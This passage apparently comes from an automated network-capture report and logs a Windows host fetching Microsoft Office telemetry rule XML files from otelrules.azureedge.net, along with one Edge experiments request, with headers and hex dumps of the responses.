2024-11-18 03:41:26 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:26 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034126Z-16547b76f7ftfv4jhC1DFWuhug00000002w0000000007vuy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:26 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:26 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034126Z-16547b76f7fljddfhC1DFWeqbs0000000630000000009axc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:28 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034128Z-16547b76f7fm8pcwhC1DFWaxcc000000038g00000000kdvw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:28 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034128Z-16547b76f7fpdsp9hC1DFW8f5000000002tg00000000dw1g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:28 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:28 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034128Z-16547b76f7fffb7lhC1DFWdsxg000000059g00000000se3t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:28 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:28 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034128Z-16547b76f7fmcv27hC1DFWgpcg0000000420000000007rm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:28 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:28 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034128Z-1866b5c5fbbz7hb5hC1DFWru7c0000000580000000003dr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:28 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49822	94.245.104.56	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:28 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:29 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 18 Nov 2024 03:41:28 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:29 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:29 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034129Z-16547b76f7fkz9l7hC1DFW35uc00000002d0000000003794 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:29 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:29 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:29 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a3ba40ae-d01e-007a-0c16-37f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034129Z-164f84587bf6n6jwhC1DFW90fn00000004fg000000006mfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:29 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:29 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:29 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034129Z-16547b76f7f6892shC1DFWawd00000000280000000009cug x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:29 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:29 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:29 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:29 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034129Z-16547b76f7fw2955hC1DFWsptc00000005t0000000008434 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
